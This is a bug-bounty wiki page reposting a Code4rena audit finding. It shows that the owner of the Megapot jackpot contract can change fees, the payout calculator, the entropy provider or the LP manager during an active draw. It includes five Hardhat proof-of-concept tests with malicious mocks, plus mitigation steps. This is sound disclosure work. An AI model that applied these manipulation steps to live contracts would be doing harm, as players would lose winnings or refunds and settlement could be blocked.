Skip to content
Business logic Audit finding Intermediate

Global Variable Manipulation During Active Draw Alters End Result

The jackpot contract lets the owner change global settings such as fees, the payout calculator, the entropy provider and the LP manager while a draw is still active. Because settlement reads these values afterwards, the owner could shift payouts, alter fees or block settlement entirely.

Alex_Cipher Follow with 0x1982us, 0xDelvine and 48 others

Originally disclosed on Code4rena

Submitted by Alex_Cipher, also found by 0x1982us, 0xDelvine, 0xkrodhan, 0xnightswatch, 0xnija, 0xRakesh, 0xsagetony, 0xscater, 0xSecurious, 0xvd, adriansham99, Agontuk, AlexCzm, anchabadze, Aristos, Avalance, BengalCatBalu, boodieboodieboo, caglankaan, ChainSentry, d33p, Daniel_eth, dantehrani, deividrobinson, EVDoc, falde, felconsec, Fon, fromeo_016, galer_ah, h2134, HackTwist, iam_emptyset, Ishenxx, jaykosai, jerry0422, Kalogerone, khaye26, kind0dev, KKKKK, KuwaTakushi, mrudenko, mser, nathan47, niffylord, Nyxaris, oakcobalt, osok, overseer, piyushmali, prk0, PureVessel, queen, rfa, rokinot, saraswati, SavantChat, ScarletFir, shiazinho, Sneks, SOPROBRO, SpicyMeatball, sudais_b, Synthrax, touristS, vesko210, Vivekz, Waze, yeahChibyke, zcai, and ZeronautX

https://github.com/code-423n4/2025-11-megapot/blob/main/contracts/Jackpot.sol#L905-L910

https://github.com/code-423n4/2025-11-megapot/blob/main/contracts/Jackpot.sol#L1193-L1199

https://github.com/code-423n4/2025-11-megapot/blob/main/contracts/Jackpot.sol#L1171-L1177

https://github.com/code-423n4/2025-11-megapot/blob/main/contracts/Jackpot.sol#L1059-L1065

Finding description and impact

The core issue lies in the ability of the owner to modify global configuration variables during an active jackpot draw. These parameters directly influence jackpot settlement logic, fee distribution, payout calculation, and even randomness handling. Because these values are read during settlement (after tickets have been purchased but before the draw is finalized), changing them mid-round allows the owner to unfairly alter the outcome of the draw or cause settlement failures.

Specifically, the following global variables can be updated during an active draw:

  • protocolFee
  • referralFee
  • payoutCalculator
  • entropy (entropy provider)
  • jackpotLPManager

Each of these variables can alter the draw’s behavior or payout path:

  • protocolFee / referralFee — allow manipulation of fee distribution to reduce/increse rewards to players.
  • payoutCalculator — can redirect or alter payout logic to arbitrary addresses.
  • entropy — can manipulate randomness or prevent valid settlement.
  • jackpotLPManager — can revert settlements or redirect LP-related funds.

Impact: This undermines jackpot integrity, enabling admin-based manipulation of winnings, payout denial, or DoS of settlement — a severe trust and fairness violation affecting all players.

Recommended mitigation steps

  • Restrict all configuration-changing functions (those modifying global variables like the above) to be callable only when no active draw is in progress.
  • Introduce a locking mechanism that freezes sensitive parameters once a draw is initialized (initializeJackpot() called) until settlement completes.

Expand for detailed Proof of Concept

Proof of Concept

TESTS

🧪 PoC 1 — Setting LPManager Affects Settlement (JackpotLPManager)

import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";

describe("PoC: admin/malicious LPManager affects settlement (JackpotLPManager)", function () {
  it("Case A: normal LP manager succeeds; Case B: malicious LP manager causes revert on settlement", async function () {
    const jackpotSystem = await deployJackpotSystem();

    const {
      owner,
      buyerOne,
      lpOne,
      jackpot,
      jackpotLPManager,
      jackpotNFT,
      payoutCalculator,
      usdcMock,
      entropyProvider,
      deploymentParams,
      deployer,
    } = jackpotSystem as any;

    // Initialize contracts (original system)
    await jackpot.connect(owner.wallet).initialize(
      await usdcMock.getAddress(),
      await jackpotLPManager.getAddress(),
      await jackpotNFT.getAddress(),
      await entropyProvider.getAddress(),
      await payoutCalculator.getAddress()
    );

    // Prepare LP deposit so prize pool can be initialized
    await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
    await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
    await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));

    // Initialize jackpot
    const latestBlock = await ethers.provider.getBlock("latest");
    const now = latestBlock!.timestamp;
    await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
    await time.increase(3);

    // Buyer purchases tickets
    const tickets = [] as any[];
    for (let i = 0; i < 3; i++) tickets.push({ normals: [1n,2n,3n,4n,5n], bonusball: 1n });
    await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
    await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);

    // Request randomness (runJackpot)
    const fee = await jackpot.getEntropyCallbackFee();
    await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });

    const randomNumbers = [ [10,11,12,13,14], [6] ];

    // Snapshot right before callback
    const snapshot = await takeSnapshot();

    const beforeId = Number((await jackpot.currentDrawingId()).toString());

    // Case A: Normal LP manager runs callback successfully
    await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
    const afterIdA = Number((await jackpot.currentDrawingId()).toString());
    expect(afterIdA).to.equal(beforeId + 1);

    // Revert to snapshot
    await snapshot.restore();

    // Case B: Deploy malicious LP manager and create a fresh jackpot that uses it
    const MaliciousLP = await ethers.getContractFactory("MaliciousLPManagerMock");
    const maliciousLP = await MaliciousLP.connect(owner.wallet).deploy();

    // Deploy a new Jackpot with the same params but using the malicious LP manager
    const newJackpot = await deployer.deployJackpot(
      deploymentParams.drawingDurationInSeconds,
      deploymentParams.normalBallMax,
      deploymentParams.bonusballMin,
      deploymentParams.lpEdgeTarget,
      deploymentParams.reserveRatio,
      deploymentParams.referralFee,
      deploymentParams.referralWinShare,
      deploymentParams.protocolFee,
      deploymentParams.protocolFeeThreshold,
      deploymentParams.ticketPrice,
      deploymentParams.maxReferrers,
      deploymentParams.entropyBaseGasLimit
    );

    const newJackpotNFT = await deployer.deployJackpotTicketNFT(await newJackpot.getAddress());
    const newPayoutCalculator = await deployer.deployGuaranteedMinimumPayoutCalculator(
      await newJackpot.getAddress(),
      deploymentParams.minimumPayout,
      deploymentParams.premiumTierMinAllocation,
      deploymentParams.minPayoutTiers,
      deploymentParams.premiumTierWeights
    );

    const newEntropyProvider = await deployer.deployScaledEntropyProviderMock(
      deploymentParams.entropyFee,
      await newJackpot.getAddress(),
      newJackpot.interface.getFunction("scaledEntropyCallback").selector
    );

    // Initialize the new jackpot with malicious LP manager
    await newJackpot.connect(owner.wallet).initialize(
      await usdcMock.getAddress(),
      await maliciousLP.getAddress(),
      await newJackpotNFT.getAddress(),
      await newEntropyProvider.getAddress(),
      await newPayoutCalculator.getAddress()
    );

    // Prepare LP deposit for new jackpot
    await newJackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
    await usdcMock.connect(lpOne.wallet).approve(await newJackpot.getAddress(), usdc(100000));
    await newJackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));

    // Initialize new jackpot
    const now2 = (await ethers.provider.getBlock("latest"))!.timestamp;
    await newJackpot.connect(owner.wallet).initializeJackpot(now2 + 1);
    await time.increase(3);

    // Buyer purchases tickets on the new jackpot
    await usdcMock.connect(buyerOne.wallet).approve(await newJackpot.getAddress(), usdc(1000));
    await newJackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);

    // Request randomness for new jackpot
    const fee2 = await newJackpot.getEntropyCallbackFee();
    await newJackpot.connect(buyerOne.wallet).runJackpot({ value: fee2 });

    // Attempt to callback via the new entropy provider which should trigger the malicious LP manager revert
    await expect(newEntropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers)).to.be.revertedWith(
      "Malicious LP Manager"
    );

    // Confirm new jackpot did not progress
    const afterIdB = Number((await newJackpot.currentDrawingId()).toString());
    expect(afterIdB).to.equal(beforeId);
  });
});

🧪 PoC 2 — Admin Alters Entropy Provider Mid-Draw (EntropyProvider Manipulation)

import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";

describe("PoC: admin changes mid-drawing affect settlement (entropy provider)", function () {
  it("Case A: normal provider works; Case B: malicious provider causes DOS / revert", async function () {
    const jackpotSystem = await deployJackpotSystem();

    const {
      owner,
      buyerOne,
      lpOne,
      jackpot,
      jackpotLPManager,
      jackpotNFT,
      payoutCalculator,
      usdcMock,
      entropyProvider,
    } = jackpotSystem as any;

    // Initialize contracts
    await jackpot.connect(owner.wallet).initialize(
      await usdcMock.getAddress(),
      await jackpotLPManager.getAddress(),
      await jackpotNFT.getAddress(),
      await entropyProvider.getAddress(),
      await payoutCalculator.getAddress()
    );

    // Prepare LP deposit so prize pool can be initialized
    await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
    await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
    await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));

    // Initialize jackpot
    const latestBlock = await ethers.provider.getBlock("latest");
    const now = latestBlock!.timestamp;
    await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
    await time.increase(3);

    // Buyer purchases tickets
    const tickets = [] as any[];
    for (let i = 0; i < 3; i++) tickets.push({ normals: [1n,2n,3n,4n,5n], bonusball: 1n });
    await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
  await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);

    // Request randomness (runJackpot)
    const fee = await jackpot.getEntropyCallbackFee();
    await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });

    const randomNumbers = [ [10,11,12,13,14], [6] ];

    // Snapshot right before callback
    const snapshot = await takeSnapshot();

    const beforeId = Number((await jackpot.currentDrawingId()).toString());

    // Case A: Normal provider runs callback successfully
    await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
    const afterIdA = Number((await jackpot.currentDrawingId()).toString());
    expect(afterIdA).to.equal(beforeId + 1);

    // Revert to snapshot
    await snapshot.restore();

    // Case B: deploy malicious provider and set it as the entropy provider
    const Malicious = await ethers.getContractFactory("MaliciousEntropyProviderMock");
    const malicious = await Malicious.connect(owner.wallet).deploy(ether(0.00001));
    const maliciousAddr = await malicious.getAddress();

    await jackpot.connect(owner.wallet).setEntropy(maliciousAddr);

    // Attempt to invoke callback via malicious provider - expect revert (DOS)
    await expect(malicious.connect(owner.wallet).randomnessCallback(randomNumbers)).to.be.revertedWith(
      "Malicious provider: refusing to callback"
    );

    // Confirm drawing did not progress
    const afterIdB = Number((await jackpot.currentDrawingId()).toString());
    expect(afterIdB).to.equal(beforeId);
  });
});

🧪 PoC 3 — Admin Modifies Protocol Fee During Active Draw (Protocol Fee Exploit)

import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";

describe("PoC: admin changes mid-drawing affect settlement (protocolFee)", function () {
  it("changing protocolFee before callback changes protocol fee extracted at settlement", async function () {
    // Deploy full fixture
    const jackpotSystem = await deployJackpotSystem();

    const {
      owner,
      buyerOne,
      lpOne,
      jackpot,
      jackpotLPManager,
      jackpotNFT,
      payoutCalculator,
      usdcMock,
      entropyProvider,
      deploymentParams,
      deployer,
    } = jackpotSystem as any;

    // Initialize contracts
    await jackpot.connect(owner.wallet).initialize(
      await usdcMock.getAddress(),
      await jackpotLPManager.getAddress(),
      await jackpotNFT.getAddress(),
      await entropyProvider.getAddress(),
      await payoutCalculator.getAddress()
    );

    // Initialize LP deposits (set a large cap)
    await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(1000000));

    // LP deposit so that LP accounting is non-zero
    await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
    await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));

    // Initialize jackpot (set initial drawing time to now)
  const latestBlock = await ethers.provider.getBlock("latest");
  const now = latestBlock!.timestamp;
    await jackpot.connect(owner.wallet).initializeJackpot(now + 1);

    // Move time forward so drawing is due
    await time.increase(3);

    // Buyer purchases multiple tickets to create sufficient lpEarnings > protocolFeeThreshold
    const tickets = [] as any[];
    for (let i = 0; i < 10; i++) {
      tickets.push({ normals: [1n, 2n, 3n, 4n, 5n], bonusball: 1n });
    }

    await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
    await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);

    // Request randomness (runJackpot) and fund with provider fee
    const fee = await jackpot.getEntropyCallbackFee();
    await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });

    // Prepare deterministic randomness: two arrays (5 normals, 1 bonusball) that don't match purchased tickets
    const randomNumbers = [
      [10, 11, 12, 13, 14],
      [6]
    ];

    const protocolFeeAddress = await jackpot.protocolFeeAddress();

  // Ensure Case A uses a protocolFee of 0.01 (explicit) then snapshot the chain state right before callback
  const originalFee = ether(0.01);
  await jackpot.connect(owner.wallet).setProtocolFee(originalFee);
  const snapshot = await takeSnapshot();

    // Case A: use the current protocolFee (as deployed)
    const beforeA = await usdcMock.balanceOf(protocolFeeAddress);
    await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
    const afterA = await usdcMock.balanceOf(protocolFeeAddress);
  const collectedA = afterA - beforeA;

    // Revert to snapshot (before callback)
    await snapshot.restore();

    // Case B: change protocolFee to a different value mid-drawing, then callback
    const higherFee = ether(0.02); // 2%
    await jackpot.connect(owner.wallet).setProtocolFee(higherFee);

    const beforeB = await usdcMock.balanceOf(protocolFeeAddress);
    await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
    const afterB = await usdcMock.balanceOf(protocolFeeAddress);
  const collectedB = afterB - beforeB;

  // Assert that collected protocol fees differ when protocolFee changed mid-drawing
  expect(collectedA).to.not.equal(collectedB);
  // If higherFee > original, the later collected amount should be >= earlier (sanity)
  expect(collectedB >= collectedA).to.be.true;
  });
});

🧪 PoC 4 — Admin Changes Payout Calculator (Winnings Distortion)

import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";

describe("PoC: admin changes mid-drawing affect settlement (payoutCalculator)", function () {
  it("swapping payoutCalculator before callback changes drawing user winnings and protocol fee", async function () {
    const jackpotSystem = await deployJackpotSystem();

    const {
      owner,
      buyerOne,
      lpOne,
      jackpot,
      jackpotLPManager,
      jackpotNFT,
      payoutCalculator,
      usdcMock,
      entropyProvider,
    } = jackpotSystem as any;

    // Initialize contracts
    await jackpot.connect(owner.wallet).initialize(
      await usdcMock.getAddress(),
      await jackpotLPManager.getAddress(),
      await jackpotNFT.getAddress(),
      await entropyProvider.getAddress(),
      await payoutCalculator.getAddress()
    );

    // Prepare LP deposit so prize pool can be initialized
    await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
    await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
    await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));

    // Initialize jackpot
    const latestBlock = await ethers.provider.getBlock("latest");
    const now = latestBlock!.timestamp;
    await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
    await time.increase(3);

    // Buyer purchases tickets
    const tickets = [] as any[];
    for (let i = 0; i < 5; i++) tickets.push({ normals: [1n,2n,3n,4n,5n], bonusball: 1n });
  await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
  await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], "0x0000000000000000000000000000000000000000000000000000000000000000");

    // Request randomness (runJackpot)
    const fee = await jackpot.getEntropyCallbackFee();
    await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });

    const randomNumbers = [ [10,11,12,13,14], [6] ];
    const protocolFeeAddress = await jackpot.protocolFeeAddress();

    // Snapshot right before callback
    const snapshot = await takeSnapshot();

    // Case A: use original payoutCalculator
    const beforeA = await usdcMock.balanceOf(protocolFeeAddress);
    await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
    const afterA = await usdcMock.balanceOf(protocolFeeAddress);
    const collectedA = afterA - beforeA;

    // Revert to snapshot
    await snapshot.restore();

  // Case B
  // Deploy a mock payout calculator that returns slightly larger user winnings (multiplier > 1e18 but modest)
  const Mock = await ethers.getContractFactory("MockPayoutCalculator");
  // multiplier 1.1x = 1.1e18 (use integer math)
  const mult = (ether(1) * 11n) / 10n;
  const mock = await Mock.connect(owner.wallet).deploy(mult);
  const mockAddr = await mock.getAddress();

    // Swap payout calculator (admin action) before callback
  await jackpot.connect(owner.wallet).setPayoutCalculator(mockAddr);

    const beforeB = await usdcMock.balanceOf(protocolFeeAddress);
    await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
    const afterB = await usdcMock.balanceOf(protocolFeeAddress);
    const collectedB = afterB - beforeB;

  // Swapping to a different payout calculator should change the protocol fee collected at settlement
  expect(collectedA).to.not.equal(collectedB);
  });
});

🧪 PoC 5 — Admin Modifies Referral Fee (Refund Manipulation)

import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";

describe("PoC: admin changes mid-drawing affect refunds (referralFee)", function () {
  it("changing referralFee before emergency refund changes refund amount", async function () {
    const jackpotSystem = await deployJackpotSystem();

    const {
      owner,
      lpOne,
      buyerOne,
      referrerOne,
      jackpot,
      jackpotLPManager,
      jackpotNFT,
      payoutCalculator,
      usdcMock,
      entropyProvider,
    } = jackpotSystem as any;

    // Initialize contracts (use addresses from the fixture)
    await jackpot.connect(owner.wallet).initialize(
      await usdcMock.getAddress(),
      await jackpotLPManager.getAddress(),
      await jackpotNFT.getAddress(),
      await entropyProvider.getAddress(),
      await payoutCalculator.getAddress()
    );

  // Ensure LP deposits and first drawing are set up (reuse the same sequence as other PoCs)
  await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));

  // LP deposit so that LP accounting is non-zero
  await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
  await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));

  await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));

    // Give buyerOne a small amount and initialize the jackpot
    const latestBlock = await ethers.provider.getBlock("latest");
    const now = latestBlock!.timestamp;
    await jackpot.connect(owner.wallet).initializeJackpot(now + 1);

    // Move time forward so drawing is due
    await time.increase(3);

    // Buy a single ticket with a referral scheme (referrerOne gets 100%)
    const tickets = [{ normals: [1n,2n,3n,4n,5n], bonusball: 1n }];
    const referrers = [referrerOne.address];
    const referralSplit = [ether(1)]; // 100% to single referrer

    // Approve and buy
    await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(10));
    await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, referrers, referralSplit, ZERO_BYTES32);

    // Identify the minted ticket id via the NFT helper
    const drawingId = Number((await jackpot.currentDrawingId()).toString());
    const userTickets = await jackpotNFT.getUserTickets(buyerOne.address, drawingId);
    expect(userTickets.length).to.be.greaterThan(0);
    const ticketId = userTickets[0].ticketId;

    // Snapshot the chain right before emergency/refund
    const snapshot = await takeSnapshot();

    // Case A: set referralFee to original (e.g., 6.5%) then enable emergency and refund
    const originalReferralFee = ether(0.065);
    await jackpot.connect(owner.wallet).setReferralFee(originalReferralFee);

    // Enable emergency mode and perform refund
    await jackpot.connect(owner.wallet).enableEmergencyMode();
    const beforeA = await usdcMock.balanceOf(buyerOne.address);
    await jackpot.connect(buyerOne.wallet).emergencyRefundTickets([ticketId]);
    const afterA = await usdcMock.balanceOf(buyerOne.address);
    const refundedA = afterA - beforeA;

    // Revert to snapshot (ticket and balances restored)
    await snapshot.restore();

    // Case B: increase referralFee (10%) before refund, then enable emergency and refund
    const higherReferralFee = ether(0.1);
    await jackpot.connect(owner.wallet).setReferralFee(higherReferralFee);
    await jackpot.connect(owner.wallet).enableEmergencyMode();

    const userTicketsB = await jackpotNFT.getUserTickets(buyerOne.address, drawingId);
    const ticketIdB = userTicketsB[0].ticketId;
    const beforeB = await usdcMock.balanceOf(buyerOne.address);
    await jackpot.connect(buyerOne.wallet).emergencyRefundTickets([ticketIdB]);
    const afterB = await usdcMock.balanceOf(buyerOne.address);
    const refundedB = afterB - beforeB;

    // The refund uses `ticketPrice * (1 - referralFee)` when a referral scheme exists.
    // Therefore increasing referralFee should *decrease* the refund amount.
    expect(refundedA).to.not.equal(refundedB);
    expect(refundedA > refundedB).to.be.true;
  });
});

Mocks

//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import { IScaledEntropyProvider } from "../interfaces/IScaledEntropyProvider.sol";

/**
 * @notice Malicious entropy provider used for PoC testing.
 * Its `randomnessCallback` intentionally reverts to simulate a DOS or faulty pro

The original report as published on Code4rena, by Alex_Cipher. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the configuration setters have no check that a draw is in progress, so settlement reads values that can change between ticket purchase and finalisation.

Impact

The owner could manipulate winnings and fee distribution, redirect payouts, or cause settlement to revert, undermining fairness for all players.

What the attacker needed

Owner or admin privileges; an active draw with tickets sold

The fix

Configuration-changing functions should be restricted so they can only be called when no draw is active, for example by locking sensitive parameters between draw initialisation and settlement.

How it was found

  1. Initialise the contracts and set up LP deposits so the prize pool exists
  2. Start a jackpot draw and let a buyer purchase tickets
  3. Request randomness so the draw is pending settlement
  4. Change a global setting such as the protocol fee, entropy provider or LP manager
  5. Trigger the randomness callback and observe the altered fee, payout or a reverted settlement

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A lottery-style contract stores settings like the fee percentage and the helper contracts that decide payouts. The owner can swap these settings after players have bought tickets but before the winning numbers are processed. Since the final payout reads whatever settings are current at that moment, the owner can quietly change what players get or stop the draw from finishing.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Alex_Cipher

View all

2 more disclosed reports, best first.

More from Megapot

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.